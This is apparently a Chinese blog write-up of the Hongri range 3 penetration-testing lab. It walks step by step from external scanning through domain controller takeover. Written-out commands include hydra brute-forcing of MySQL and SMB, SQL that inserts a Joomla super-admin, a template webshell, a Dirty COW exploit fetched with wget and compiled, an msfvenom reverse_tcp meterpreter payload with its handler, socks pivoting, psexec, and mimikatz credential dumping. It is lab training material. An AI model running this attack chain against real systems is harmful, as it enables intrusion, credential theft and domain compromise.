红日靶场 3


红日靶场 3

靶场搭建

创建一个 VMnet2​,网段是 192.168.93.0/24​,因为默认配置就是这个,修改成其他的 VMnet 还需要修改

image

这里加载后记得打快照,这个靶机都是挂起状态的,不打快照重启后可能就打不开服务

这里打开后一堆毛病,主要启动服务的 web-ubantu 打开就报错,会导致访问页面就 502 了,最后 VM 版本调回 16.2 就没事了

web-centos:

image

这里捣鼓了半天,后来发现这个靶机是热加载的,不需要关机更换网卡设置,开机就能修改

进去要重启网卡,这里还有个问题,重启网卡一直失败

service network restart

需要在设置中修改一下才能成功

image

要将这两个都勾选上

image

PC:

image

web-ubantu:

image

win 2008:

image

server 2012:

image

外网渗透

这里模拟实战环境,是不知道这里 IP 地址是什么,所以扫描整个 C 段

nmap -sn 192.168.154.0/24

image

确定目标 IP 就是 192.168.154.128,进行端口扫描

nmap -sS -sV -p- 192.168.154.128

image

这里看到有 ssh 和 mysql 服务,尝试了一下弱密码,成功爆出来一个弱密码

hydra -C mysql-betterdefaultpasslist.txt mysql://192.168.154.128

image

mysql 渗透(失败)

直接连接上去,就是 root 权限,而且 IP 像内网的 IP

mysql -u root -h 192.168.154.128 -p123

image

image

看看能不能写日志 shell,权限和配置够了,打开一下日志功能

image

但是这里要写日志不知道 web 路径,先放一放

image

这里本来尝试随便写一个文件的,但是好像配置了什么导致不成功,这个方法应该是被 ban 了

image

网站渗透

是一个 php 环境,cms 是 Joomla

image

扫目录发现挺多东西的

[14:43:31] 403 -  280B  - /.configuration.php.swp
[14:43:32] 403 -  280B  - /.ht_wsr.txt
[14:43:32] 403 -  280B  - /.htaccess.bak1
[14:43:32] 403 -  280B  - /.htaccess.orig
[14:43:32] 403 -  280B  - /.htaccess.sample
[14:43:32] 403 -  280B  - /.htaccess_extra
[14:43:32] 403 -  280B  - /.htaccess_sc
[14:43:32] 403 -  280B  - /.htaccessOLD2
[14:43:32] 403 -  280B  - /.htaccess_orig
[14:43:32] 403 -  280B  - /.htm
[14:43:32] 403 -  280B  - /.html
[14:43:32] 403 -  280B  - /.htaccess.save
[14:43:32] 403 -  280B  - /.htaccessBAK
[14:43:32] 403 -  280B  - /.htpasswd_test
[14:43:32] 403 -  280B  - /.htaccessOLD
[14:43:32] 403 -  280B  - /.httr-oauth
[14:43:32] 403 -  280B  - /.htpasswds
[14:43:33] 403 -  280B  - /.php
[14:43:35] 200 -    0B  - /2.php
[14:43:36] 200 -   24KB - /1.php
[14:43:42] 301 -  326B  - /administrator  ->  http://192.168.154.128/administrator/
[14:43:42] 200 -   31B  - /administrator/cache/
[14:43:42] 301 -  331B  - /administrator/logs  ->  http://192.168.154.128/administrator/logs/
[14:43:42] 200 -  526B  - /administrator/includes/
[14:43:42] 200 -   31B  - /administrator/logs/
[14:43:44] 200 -    2KB - /administrator/index.php
[14:43:44] 200 -    2KB - /administrator/
[14:43:46] 301 -  316B  - /bin  ->  http://192.168.154.128/bin/
[14:43:46] 200 -   31B  - /bin/
[14:43:47] 301 -  318B  - /cache  ->  http://192.168.154.128/cache/
[14:43:47] 200 -   31B  - /cache/
[14:43:48] 200 -   31B  - /cli/
[14:43:48] 200 -   31B  - /components/
[14:43:48] 301 -  323B  - /components  ->  http://192.168.154.128/components/
[14:43:49] 200 -    2KB - /configuration.php~
[14:43:49] 200 -    0B  - /configuration.php
[14:43:55] 200 -    1KB - /htaccess.txt
[14:43:56] 200 -   31B  - /images/
[14:43:56] 301 -  319B  - /images  ->  http://192.168.154.128/images/
[14:43:56] 200 -   31B  - /includes/
[14:43:56] 301 -  321B  - /includes  ->  http://192.168.154.128/includes/
[14:43:58] 200 -    4KB - /index.php
[14:43:58] 200 -    3KB - /index.php/login/
[14:43:58] 301 -  321B  - /language  ->  http://192.168.154.128/language/
[14:43:59] 200 -   31B  - /layouts/
[14:43:59] 301 -  322B  - /libraries  ->  http://192.168.154.128/libraries/
[14:43:59] 200 -   31B  - /libraries/
[14:43:59] 200 -    7KB - /LICENSE.txt
[14:44:01] 301 -  318B  - /media  ->  http://192.168.154.128/media/
[14:44:01] 200 -   31B  - /media/
[14:44:02] 301 -  320B  - /modules  ->  http://192.168.154.128/modules/
[14:44:02] 200 -   31B  - /modules/
[14:44:07] 301 -  320B  - /plugins  ->  http://192.168.154.128/plugins/
[14:44:07] 200 -   31B  - /plugins/
[14:44:09] 200 -    2KB - /README.txt
[14:44:10] 200 -  392B  - /robots.txt
[14:44:11] 403 -  280B  - /server-status
[14:44:11] 403 -  280B  - /server-status/
[14:44:15] 301 -  322B  - /templates  ->  http://192.168.154.128/templates/
[14:44:15] 200 -   31B  - /templates/index.html
[14:44:15] 200 -    0B  - /templates/protostar/
[14:44:15] 200 -    0B  - /templates/beez3/
[14:44:15] 200 -   31B  - /templates/
[14:44:15] 200 -    0B  - /templates/system/
[14:44:16] 301 -  316B  - /tmp  ->  http://192.168.154.128/tmp/
[14:44:16] 200 -   31B  - /tmp/
[14:44:19] 200 -  628B  - /web.config.txt

这里有个 2.php 直接有 phpinfo 了,不知道是没删干净还是啥,先不用

这里还扫到了一个 configuration.php~,这个应该就是 Joomla 的配置文件,这里还有一个用户的账号密码,但是登录不到后台

image

这里可以看到有一个 log_path,刚好可以给 mysql 利用

image

这里还有一个后台,密码可以到 mysql 中去读

image

这里可以看到这个 am2zu_users 表中存储着用户信息,但是密码被加密了

image

这里翻了一下,发现官方有些如何添加超级管理员,那还说啥了,直接拿来用

image

但这里要修改一下表名,这里修改的密码是 secret

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

image

成功登录后台

image

这里可以通过修改后台主题的文件来上 shell

image

这里修改 error.php 文件

image

image

没有禁用 eval,试试马

image

可以执行命令,但是没有 system

image

不管,直接上蚁剑,看看能不能上传文件,能上传文件就 win 了

image

蚁剑有一个插件,可以用来尝试绕过

image

image

C2 上线(失败)

这里目标机器是 linux,用 cs 需要一个插件

image

上传这个马

image

但是这里又是连接不上,不知道为什么,只能先换一条路

image

这里看到 tmp 目录下有一个 mysql 目录,进去看到一个文件

image

ssh

尝试用来 ssh 登录,这里直接连会报错,因为目标版本太低了,需要加个配置,成功获取到一个普通用户权限

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa wwwuser@192.168.154.128

image

提权

先尝试 suid 提权

find / -perm -u=s -type f 2>/dev/null

image

都失败哩,甚至还有报告(

image

这里查到一种脏牛提权,版本应该是匹配上了

uname -a
cat /etc/redhat-release

image

searchsploit dirty cow

image

searchsploit -m 40839.c

image

下载下来后起一个 http 服务,让服务器下载一个,其实直接文件上传上去也可以

wget http://192.168.154.130:8088/40839.c -O dirty.c

image

这里要先编译一下,然后执行生成的文件,然后加上密码就行

gcc --version
gcc -pthread dirty.c -o dirty -lcrypt

image

提权成功

image

使用 msf 上线,cs 好像搞不定

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.154.130 LPORT=4444 -f elf > shell.elf

image

启动一下服务

msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.154.130
msf6 > set LPORT 4444
msf6 > run

image

然后将这个文件传过去,成功上线

image

然后可以使用命令看看基础信息

sysinfo
ifconfig

image

横向渗透

将内网网段添加到路由表中

run autoroute -s 192.168.93.0/24
run autoroute -p

image

然后要配置全局代理

background
use auxiliary/server/socks_proxy
set srvport 1080
set version 4a
run

image

然后修改 kali 的配置,在最后一行加上 socks4 127.0.0.1 1080

sudo nano /etc/proxychains4.conf

然后就可以利用这个代理去扫描内网了

proxychains4 nmap -Pn -sT -p 445,135,80 --open 192.168.93.0/24

image

这里可以确定有 5 个目标,100 就是拿到权限的这个

192.168.93.10

image

192.168.93.20

image

192.168.93.30

image

192.168.93.120 这个是服务器的 IP,所以这个服务是搭建在内网的,只是用外网的这个转发出去,所以这个服务器的权限也相当于拿到了,只是权限不够高

image

image

这里像尝试永恒之蓝,都失败了

image

这里没辙了,只能尝试爆破密码了,这个密码我找了一圈发现我的字典中都没有(,又不想爆太大,就直接添加到我的字典中了

proxychains4 hydra -l administrator -P 500-worst-passwords.txt smb://192.168.93.20

image

image

然后就可以利用 msf 的 psexec 模块来获取权限

use exploit/windows/smb/psexec

set RHOSTS 192.168.93.20
set SMBUser administrator
set SMBPass 123456

set payload windows/x64/meterpreter/bind_tcp
set LPORT 4444

run

这里甚至是 system 用户

image

信息收集

image

域控机就是 WIN-8GA56TNV3MV

image

获取到域控机的 IP 就是 192.168.93.10,剩下两台几次其实都拿下了

image

这里可以加载 mimikatz

load kiwi
creds_wdigest
creds_all

image

这里成功抓到一个密码,这个 test 就是当前域环境,尝试一下是不是密码 zxcASDqw123!!

proxychains4 hydra -l administrator -p 'zxcASDqw123!!' smb://192.168.93.10

image

这样就成功拿下最后的域控机器了


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录